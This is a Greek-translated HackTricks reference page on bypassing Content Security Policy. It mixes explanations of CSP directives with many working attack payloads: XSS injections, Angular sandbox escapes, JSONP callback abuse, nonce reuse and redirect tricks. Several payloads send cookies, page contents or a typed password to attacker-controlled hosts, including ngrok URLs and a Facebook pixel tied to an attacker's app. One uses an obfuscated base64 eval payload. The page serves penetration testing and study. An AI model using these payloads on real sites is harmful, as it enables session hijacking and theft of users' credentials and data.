Content Security Policy (CSP) Bypass

Reading time: 33 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το CSP

Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία προγράμματος περιήγησης, κυρίως με στόχο την προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS). Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως eval, setTimeout ή setInterval.

Η εφαρμογή του CSP πραγματοποιείται μέσω κεφαλίδων απόκρισης ή με την ενσωμάτωση meta στοιχείων στη σελίδα HTML. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους κανονισμούς και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.

  • Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Υλοποιήθηκε μέσω του meta tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις κεφαλίδες:

  • Content-Security-Policy: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβιάσεις.
  • Content-Security-Policy-Report-Only: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής.

Defining Resources

CSP περιορίζει τις προελεύσεις για τη φόρτωση τόσο ενεργού όσο και παθητικού περιεχομένου, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του eval(). Ένα παράδειγμα πολιτικής είναι:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Οδηγίες

  • script-src: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
  • default-src: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch.
  • child-src: Προσδιορίζει τις επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
  • connect-src: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
  • frame-src: Περιορίζει τα URLs για πλαίσια.
  • frame-ancestors: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν τη τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως <frame>, <iframe>, <object>, <embed>, και <applet>.
  • img-src: Ορίζει τις επιτρεπόμενες πηγές για εικόνες.
  • font-src: Προσδιορίζει έγκυρες πηγές για γραμματοσειρές που φορτώνονται χρησιμοποιώντας @font-face.
  • manifest-src: Ορίζει τις επιτρεπόμενες πηγές αρχείων manifest εφαρμογής.
  • media-src: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση αντικειμένων πολυμέσων.
  • object-src: Ορίζει τις επιτρεπόμενες πηγές για στοιχεία <object>, <embed>, και <applet>.
  • base-uri: Προσδιορίζει τα επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας στοιχεία <base>.
  • form-action: Λίστα έγκυρων endpoints για υποβολές φορμών.
  • plugin-types: Περιορίζει τους mime τύπους που μπορεί να καλέσει μια σελίδα.
  • upgrade-insecure-requests: Δίνει οδηγίες στους περιηγητές να ξαναγράψουν τα HTTP URLs σε HTTPS.
  • sandbox: Εφαρμόζει περιορισμούς παρόμοιους με την ιδιότητα sandbox ενός <iframe>.
  • report-to: Προσδιορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
  • worker-src: Προσδιορίζει έγκυρες πηγές για scripts Worker, SharedWorker ή ServiceWorker.
  • prefetch-src: Προσδιορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα προφορτωθούν.
  • navigate-to: Περιορίζει τα URLs στα οποία μπορεί να πλοηγηθεί ένα έγγραφο με οποιονδήποτε τρόπο (a, form, window.location, window.open, κ.λπ.)

Πηγές

  • *: Επιτρέπει όλα τα URLs εκτός από αυτά με data:, blob:, filesystem: σχήματα.
  • 'self': Επιτρέπει τη φόρτωση από την ίδια τομέα.
  • 'data': Επιτρέπει την φόρτωση πόρων μέσω του σχήματος δεδομένων (π.χ., εικόνες κωδικοποιημένες σε Base64).
  • 'none': Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.
  • 'unsafe-eval': Επιτρέπει τη χρήση του eval() και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.
  • 'unsafe-hashes': Ενεργοποιεί συγκεκριμένους inline event handlers.
  • 'unsafe-inline': Επιτρέπει τη χρήση inline πόρων όπως inline <script> ή <style>, δεν συνιστάται για λόγους ασφαλείας.
  • 'nonce': Μια λευκή λίστα για συγκεκριμένα inline scripts χρησιμοποιώντας ένα κρυπτογραφικό nonce (αριθμός που χρησιμοποιείται μία φορά).
  • Αν έχετε περιορισμένη εκτέλεση JS, είναι δυνατόν να αποκτήσετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με doc.defaultView.top.document.querySelector("[nonce]") και στη συνέχεια να το επαναχρησιμοποιήσετε για να φορτώσετε ένα κακόβουλο script (αν χρησιμοποιείται strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές, οπότε αυτό δεν είναι απαραίτητο), όπως στο:
Φόρτωση script επαναχρησιμοποιώντας nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Λευκή λίστα scripts με συγκεκριμένο sha256 hash.
  • 'strict-dynamic': Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή αν έχει λευκή λίστα μέσω nonce ή hash.
  • 'host': Προσδιορίζει μια συγκεκριμένη πηγή, όπως το example.com.
  • https:: Περιορίζει τα URLs σε αυτά που χρησιμοποιούν HTTPS.
  • blob:: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
  • filesystem:: Επιτρέπει τη φόρτωση πόρων από το filesystem.
  • 'report-sample': Συμπεριλαμβάνει ένα δείγμα του παραβιασμένου κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
  • 'strict-origin': Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφαλείας του πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).
  • 'strict-origin-when-cross-origin': Στέλνει πλήρη URLs όταν γίνονται αιτήματα ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
  • 'unsafe-allow-redirects': Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.

Unsafe CSP Rules

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' μέσω Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Αυτό δεν λειτουργεί, για περισσότερες πληροφορίες ελέγξτε αυτό.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Λειτουργικό payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Αν μπορείτε με κάποιο τρόπο να κάνετε έναν επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η νέα ετικέτα script θα επιτρέπεται να εκτελείται.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Λειτουργικό payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Έλλειψη object-src και default-src

[!CAUTION] > Φαίνεται ότι αυτό δεν λειτουργεί πια

yaml
Content-Security-Policy: script-src 'self' ;

Λειτουργικά payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Αποστολή Αρχείου + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Αν μπορείτε να ανεβάσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτήν την CSP:

Λειτουργικό payload:

html
"/>'><script src="/uploads/picture.png.js"></script>

Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής επικυρώνει το ανεβασμένο αρχείο και θα επιτρέψει μόνο να ανεβάσετε καθορισμένο τύπο αρχείων.

Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε κώδικα JS μέσα σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: script.png), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση και οι περιηγητές όπως ο Chrome θα απορρίψουν την εκτέλεση του κώδικα Javascript μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι ο Apache δεν γνωρίζει την .wave επέκταση, επομένως δεν την σερβίρει με τύπο MIME όπως audio/*.

Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια παρερμηνευμένη επέκταση, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot (μερικά παραδείγματα polyglot εδώ).

Form-action

Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια εγχύοντας μια ενέργεια φόρμας (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα παράδειγμα σε αυτή την αναφορά. Επίσης, σημειώστε ότι το default-src δεν καλύπτει τις ενέργειες φόρμας.

Third Party Endpoints + ('unsafe-eval')

warning

Για μερικά από τα παρακάτω payload unsafe-eval δεν είναι καν απαραίτητο.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Φορτώστε μια ευάλωτη έκδοση του angular και εκτελέστε αυθαίρετο JS:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

tip

Η ανάρτηση δείχνει ότι μπορείτε να φορτώσετε όλες τις βιβλιοθήκες από cdn.cloudflare.com (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο βιβλιοθηκών JS), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη και να ελέγξετε ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το αντικείμενο window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS από ένα όνομα κλάσης:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Κατάχρηση του κώδικα JS του google recaptcha

Σύμφωνα με αυτή την αναφορά CTF, μπορείτε να καταχραστείτε https://www.google.com/recaptcha/ μέσα σε μια CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας την CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Περισσότερα payloads από αυτήν την αναφορά:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Κατάχρηση του www.google.com για ανοιχτή ανακατεύθυνση

Η παρακάτω διεύθυνση URL ανακατευθύνει στο example.com (από εδώ):

https://www.google.com/amp/s/example.com/

Κατάχρηση *.google.com/script.google.com

Είναι δυνατόν να καταχραστεί το Google Apps Script για να ληφθούν πληροφορίες σε μια σελίδα μέσα στο script.google.com. Όπως γίνεται σε αυτή την αναφορά.

Τρίτοι Σημειακοί Σταθμοί + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Σενάρια όπως αυτό όπου το script-src είναι ρυθμισμένο σε self και μια συγκεκριμένη τοποθεσία που είναι στη λίστα επιτρεπόμενων μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Τα endpoints JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass διαφόρων ιστοσελίδων.

Η ίδια ευπάθεια θα συμβεί αν το έμπιστο endpoint περιέχει ένα Open Redirect γιατί αν το αρχικό endpoint είναι έμπιστο, οι ανακατευθύνσεις είναι έμπιστες.

Καταχρήσεις Τρίτων

Όπως περιγράφεται στην παρακάτω ανάρτηση, υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν είτε για να εξάγουν δεδομένα είτε για να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:

ΟντότηταΕπιτρεπόμενος ΤομέαςΔυνατότητες
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Αν βρείτε οποιονδήποτε από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, οι πιθανότητες είναι ότι μπορεί να είστε σε θέση να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και, είτε να εξάγετε δεδομένα σε αυτή την υπηρεσία είτε να εκτελέσετε κώδικα.

Για παράδειγμα, αν βρείτε το παρακάτω CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

ή

Content-Security-Policy​: connect-src www.facebook.com;​

Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως γινόταν πάντα με Google Analytics/Google Tag Manager. Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:

  1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ.
  2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
  3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας.
  4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
  5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.

Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Όσον αφορά τους άλλους επτά τρίτους τομείς που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη ανάρτηση στο blog για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.

Bypass via RPO (Relative Path Overwrite)

Εκτός από την προαναφερθείσα ανακατεύθυνση για την παράκαμψη περιορισμών διαδρομής, υπάρχει μια άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) που μπορεί να χρησιμοποιηθεί σε ορισμένους διακομιστές.

Για παράδειγμα, αν το CSP επιτρέπει τη διαδρομή https://example.com/scripts/react/, μπορεί να παρακαμφθεί ως εξής:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Ο περιηγητής θα φορτώσει τελικά το https://example.com/scripts/angular/angular.js.

Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα ..%2fangular%2fangular.js που βρίσκεται κάτω από το https://example.com/scripts/react/, το οποίο είναι συμβατό με το CSP.

∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά το https://example.com/scripts/react/../angular/angular.js, το οποίο είναι ισοδύναμο με το https://example.com/scripts/angular/angular.js.

Με την εκμετάλλευση αυτής της ασυνέπειας στην ερμηνεία URL μεταξύ του περιηγητή και του διακομιστή, οι κανόνες διαδρομής μπορούν να παρακαμφθούν.

Η λύση είναι να μην αντιμετωπίζεται το %2f ως / στην πλευρά του διακομιστή, διασφαλίζοντας συνεπή ερμηνεία μεταξύ του περιηγητή και του διακομιστή για να αποφευχθεί αυτό το ζήτημα.

Online Παράδειγμα: https://jsbin.com/werevijewa/edit?html,output

Εκτέλεση JS σε Iframes

Iframes in XSS, CSP and SOP

απουσία base-uri

Εάν η οδηγία base-uri λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια dangling markup injection.

Επιπλέον, εάν η σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή (όπως <script src="/js/app.js">) χρησιμοποιώντας ένα Nonce, μπορείτε να εκμεταλλευτείτε την ετικέτα base για να κάνετε να φορτώσει το σενάριο από τον δικό σας διακομιστή επιτυγχάνοντας ένα XSS.
Εάν η ευάλωτη σελίδα φορτωθεί με httpS, χρησιμοποιήστε μια διεύθυνση httpS στη βάση.

html
<base href="https://www.attacker.com/" />

AngularJS events

Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο $event, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο $event μπορεί να εκμεταλλευτεί για να παρακαμφθεί η CSP. Σημαντικά, στο Chrome, το αντικείμενο $event/event διαθέτει ένα χαρακτηριστικό path, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο window να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.

Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο orderBy, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο window) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το alert(). Το παρακάτω απόσπασμα κώδικα διευκρινίζει αυτή τη διαδικασία:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Αυτό το απόσπασμα επισημαίνει τη χρήση της οδηγίας ng-focus για την ενεργοποίηση του γεγονότος, χρησιμοποιώντας $event.path|orderBy για να χειριστεί τον πίνακα path, και εκμεταλλευόμενο το αντικείμενο window για να εκτελέσει τη συνάρτηση alert(), αποκαλύπτοντας έτσι το document.cookie.

Βρείτε άλλες παρακάμψεις Angular σε https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS και το whitelist domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης συναρτήσεων callback και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό διαθέσιμο σε αυτό το git repository.

Λειτουργικά payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Άλλες τελείες εκτέλεσης JSONP μπορούν να βρεθούν εδώ (μερικές από αυτές διαγράφηκαν ή διορθώθηκαν)

Παράκαμψη μέσω Ανακατεύθυνσης

Τι συμβαίνει όταν το CSP συναντά ανακατεύθυνση από την πλευρά του διακομιστή; Εάν η ανακατεύθυνση οδηγεί σε διαφορετική προέλευση που δεν επιτρέπεται, θα αποτύχει.

Ωστόσο, σύμφωνα με την περιγραφή στο CSP spec 4.2.2.3. Paths and Redirects, εάν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.

Ακολουθεί ένα παράδειγμα:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Αν το CSP είναι ρυθμισμένο σε https://www.google.com/a/b/c/d, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts /test όσο και /a/test θα αποκλειστούν από το CSP.

Ωστόσο, το τελικό http://localhost:5555/301 θα ανακατευθυνθεί από τον server σε https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Δεδομένου ότι πρόκειται για ανακατεύθυνση, η διαδρομή δεν λαμβάνεται υπόψη, και το script μπορεί να φορτωθεί, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.

Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.

Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει ανοιχτές ευπάθειες ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες CSP.

Παράκαμψη CSP με κρεμασμένο markup

Διαβάστε πώς εδώ.

'unsafe-inline'; img-src *; μέσω XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε σενάριο μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και img-src * σημαίνει ότι μπορείτε να χρησιμοποιήσετε στην ιστοσελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.

Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

Από: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

